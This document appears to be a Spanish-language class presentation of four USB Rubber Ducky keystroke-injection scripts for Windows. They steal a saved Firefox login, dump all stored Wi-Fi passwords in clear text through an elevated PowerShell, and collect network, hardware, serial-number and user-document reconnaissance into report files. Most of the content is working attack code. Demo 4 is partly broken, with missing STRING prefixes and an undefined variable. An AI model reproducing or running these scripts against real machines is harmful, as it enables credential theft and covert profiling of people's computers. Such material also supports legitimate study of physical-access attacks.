Scripts para utilizarse en USB Rubber Ducky

Demo No 1

Credenciales guardadas en Firefox

```
REM Author: Noelia
REM Ducky firefox password stealer: 1.0
REM Target: Windows 10
DELAY 2000
REM -------------open chrome
GUI r
DELAY 1000
STRING firefox
DELAY 1000
ENTER
DELAY 2000
REM -------------copy plaintext password
STRING about:logins
ENTER
DELAY 2000
STRING linkedin.com
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
SPACE
DELAY 500
TAB
```

```
DELAY 500
ENTER
DELAY 500
ALT F4
DELAY 500
GUI r
DELAY 500
STRING powershell start-process notepad.exe -Verb runAs
DELAY 500
ENTER
DELAY 2000
ALT y
DELAY 1000
CTRL V
DELAY 500
ALT F4
DELAY 500
ENTER
STRING d:\passwords.txt
DELAY 500
ENTER
DELAY 200
ALT F4
```

Demo No 2

Información de la Wireless a la que se está utilizando

```
DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
REM *****************
REM # We're going to grab all wifi passwords
REM *****************
STRING (netsh wlan show profiles) | Select-String "\:(.+)$" |
%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show
profile name="$name" key=clear)}  | Select-String "Key
Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} |
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table
-AutoSize > C:\Information.txt
ENTER
DELAY 400
STRING $command = {hostname; Get-NetIpaddress | Where PrefixOrigin -EQ
DHCP; Invoke-RestMethod http://ipinfo.io/json | Select -exp ip}
ENTER
DELAY 60
STRING $command.InvokeReturnAsIs() | Out-File C:\Information.txt -Append
ENTER
DELAY 400
STRING exit
ENTER
DELAY 400
```

Demo No 3

Información de la red y tarjetas disponibles

```
DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
ENTER
DELAY 30
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky
Report ' + $folderDateTime
ENTER
DELAY 30
STRING $fileSaveDir = New-Item  ($userDir) -ItemType Directory
```

```
ENTER
DELAY 30
STRING $date = get-date
ENTER
DELAY 30
STRING $style = "<style> table td{padding-right: 10px;text-align:
left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt;
border: 10px solid
black;background-color:white;height:100%;overflow:auto;}#left{float:left
; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:
#C0C0C0;float:right;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#center{background-color
:#C0C0C0;width:98%;height:300px;border: 4px solid
black;padding:10px;overflow:scroll;margin:10px;} </style>"
ENTER
DELAY 30
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style >
$fileSaveDir'/ComputerInfo.html'
ENTER
DELAY 30
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit
Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
ENTER
DELAY 30
STRING $Report =  $Report + '<div id=center><h3>Network
Information</h3>'
ENTER
DELAY 30
STRING $Report =  $Report + (Get-WmiObject
Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select
Description,DNSHostname, @{Name='IP Address
';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
ENTER
DELAY 30
STRING $Report = $Report + '</table></div>'
ENTER
DELAY 30
STRING $Report| Format-Table -AutoSize > C:\Information.html
ENTER
DELAY 400
STRING exit
ENTER
```

Demo No 4

Información de la Computadora

```
DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' +
$folderDateTime
$fileSaveDir = New-Item  ($userDir) -ItemType Directory
$date = get-date
$style = "<style> table td{padding-right: 10px;text-align: left;}#body
{padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px
solid
black;background-color:white;height:100%;overflow:auto;}#left{float:left
; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:
#C0C0C0;float:right;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#center{background-color
:#C0C0C0;width:98%;height:300px;border: 4px solid
black;padding:10px;overflow:scroll;margin:10px;} </style>"
 $Report = ConvertTo-Html -Title 'Recon Report' -Head $style >
$fileSaveDir'/ComputerInfo.html'
 $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr
size=2><br><h3> Generated on: $Date </h3><br>"
$Report =  $Report + '<div id=center><h3>User Documents
(doc,docx,pdf,rar)</h3>'
$Report =  $Report + (Get-ChildItem -Path $userDir -Include *.doc,
*.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name,
LastAccessTime)
$Report = $Report + '</div>'
$SysBootTime = Get-WmiObject Win32_OperatingSystem
```

```
$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)|
ConvertTo-Html datetime
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName
$env:COMPUTERNAME)
$SerialNo = $SysSerialNo.SerialNumber
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace
root/CIMV2 | Select Manufacturer,Model
$SysManufacturer = $SysInfo.Manufacturer
$SysModel = $SysInfo.Model
$OS = (Get-WmiObject Win32_OperatingSystem -computername
$env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
$env:COMPUTERNAME | Select  TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name
$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME |
select SerialNumber
$HardSerialNo = $HardSerial.SerialNumber
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
$graphicsCard = gwmi win32_VideoController |select Name
$graphics = $graphicsCard.Name
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
$DriveLetter = $CDDrive.Drive
$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '\' + $DriveName
$Firewall = New-Object -com HNetCfg.FwMgr
$FireProfile = $Firewall.LocalPolicy.CurrentProfile
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report  + "<div id=left><h3>Computer
Information</h3><br><table><tr><td>Operating
System</td><td>$OS</td></tr><tr><td>OS Serial
Number:</td><td>$SerialNo</td></tr><tr><td>Current
User:</td><td>$env:USERNAME </td></tr><tr><td>System
Uptime:</td><td>$BootTime</td></tr><tr><td>System
Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System
Model:</td><td>$SysModel</td></tr><tr><td>Serial
Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is
Active:</td><td>$FireProfile</td></tr></table></div><div
id=right><h3>Hardware Information</h3><table><tr><td>Hardrive
Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free
Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram
```

```
GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD
Drive:</td><td>$Disk</td></tr><tr><td>Graphics
Card:</td><td>$graphics</td></tr></table></div>"
$Report| Format-Table -AutoSize > C:\Test.html
ENTER
DELAY 400
STRING exit
ENTER
```

Presentación final de: Ing. Iver Adolfo Vargas e Ing Narcy Noelia Pazos